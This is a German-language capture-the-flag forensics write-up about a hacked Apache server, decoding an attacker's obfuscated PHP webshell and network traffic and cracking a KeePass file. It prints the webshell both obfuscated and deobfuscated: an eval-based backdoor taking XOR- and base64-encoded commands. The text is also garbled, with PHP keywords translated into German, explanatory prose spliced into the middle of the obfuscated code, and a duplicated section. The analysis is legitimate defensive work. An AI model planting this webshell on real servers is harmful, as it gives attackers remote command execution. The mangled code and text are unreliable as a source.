Wir haben ein Vorfallreaktionsszenario behandelt, bei dem wir mithilfe forensischer Fähigkeiten einen Webserver untersuchen mussten, der durch Ausnutzen einer Sicherheitslücke beim Hochladen von Dateien gehackt wurde. Wir haben die vom Angreifer verwendete Webshell sowie eine Paket-Dump-Datei erhalten, die die zwischen dem Angreifer und dem Webserver während der Ausführung von Befehlen ausgetauschten Pakete enthielt.

Wir haben das Skript mithilfe von Base64, XOR-Verschlüsselung und Gzip-Komprimierung dekodiert, um die vom Angreifer ausgeführten Befehle und die erhaltene Ausgabe aufzudecken.

Wir stellten fest, dass der Angreifer eine mit Base64 codierte Keepass-Datei heruntergeladen hatte. Daher verwendeten wir keepass2john, um den Hash zu extrahieren, und John the Ripper, um das Kennwort der Kennwortdatenbank zu finden, die das Flag enthielt.

Notizen zur Computerforensik abrufen

Der komplette praktische Kurs zum Penetrationstest von Webanwendungen

Beschreibung der Herausforderung

Ein Angreifer hat eine Schwachstelle in unserem Webserver gefunden, die das Hochladen beliebiger PHP-Dateien auf unseren Apache-Server ermöglicht. So hat der Hacker eine scheinbar verschleierte Shell (support.php) hochgeladen. Wir überwachen unser Netzwerk rund um die Uhr und generieren Protokolle von tcpdump (wir haben die Protokolldatei für den Zeitraum von zwei Minuten bereitgestellt, bevor wir den HTTP-Dienst zur Untersuchung beendet haben). Wir benötigen jedoch Ihre Hilfe bei der Analyse und Identifizierung der vom Angreifer geschriebenen Befehle, um herauszufinden, was kompromittiert wurde.

Video-Highlights

Das verschleierte PHP-Webshell-Skript finden Sie weiter unten.

<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);Funktion u)x(

Nach der Deobfuskation wird es

$k=”80e32263″;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5″;
$p=”0UlYyJHG87EJqEz6″;
Funktion x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o=””;
für ($i = 0;$i < $l;) {
für ($j = 0; ($j < $c & $i < $l); $j++, $i++) {
$o.=$t{$i}^$k{$j};
}
}
Rückgabe $o;
}
wenn(@preg_match(“/$kh(.+)$kf/”,@file_get_contents(“php://input”),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
drucken(„$p$kh$r$kf“);
}

Wir können den umgekehrten Weg wie oben beschrieben gehen, um die vom Angreifer empfangene Ausgabe zu dekodieren (im Wireshark angezeigt).

@gzuncompress(@x(@base64_decode($encoded),$k));

Beispielsweise wird die folgende Ausgabe im ersten Wireshark-Paket beobachtet

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Wenn wir $p, $kh und $kf davon entfernen, erhalten wir $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy

Das Obige entspricht der folgenden Ausgabe (der Ausgabe des Befehls „id“)

uid=33(www-Daten) gid=33(www-Daten) groups=33(www-Daten)

Video-Komplettlösung

https://www.youtube.com/watch?v=VSgdzLoCWl0

;$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);für($i=0u);u)$i<$l;){für(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>

Nach der Deobfuskation wird es

$k=”80e32263″;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5″;
$p=”0UlYyJHG87EJqEz6″;
Funktion x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o=””;
für ($i = 0;$i < $l;) {
für ($j = 0; ($j < $c & $i < $l); $j++, $i++) {
$o.=$t{$i}^$k{$j};
}
}
Rückgabe $o;
}
wenn(@preg_match(“/$kh(.+)$kf/”,@file_get_contents(“php://input”),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
drucken(„$p$kh$r$kf“);
}

Wir können den umgekehrten Weg wie oben beschrieben gehen, um die vom Angreifer empfangene Ausgabe zu dekodieren (im Wireshark angezeigt).

@gzuncompress(@x(@base64_decode($encoded),$k));

Beispielsweise wird die folgende Ausgabe im ersten Wireshark-Paket beobachtet

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Wenn wir $p, $kh und $kf davon entfernen, erhalten wir $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy

Das Obige entspricht der folgenden Ausgabe (der Ausgabe des Befehls „id“)


Video-Komplettlösung

Über den Autor

Ich erstelle Notizen zur Cybersicherheit, Notizen zum digitalen Marketing und Online-Kurse. Ich biete auch Beratung zum digitalen Marketing an, einschließlich, aber nicht beschränkt auf SEO, Google- und Meta-Anzeigen und CRM-Verwaltung.

Artikel anzeigen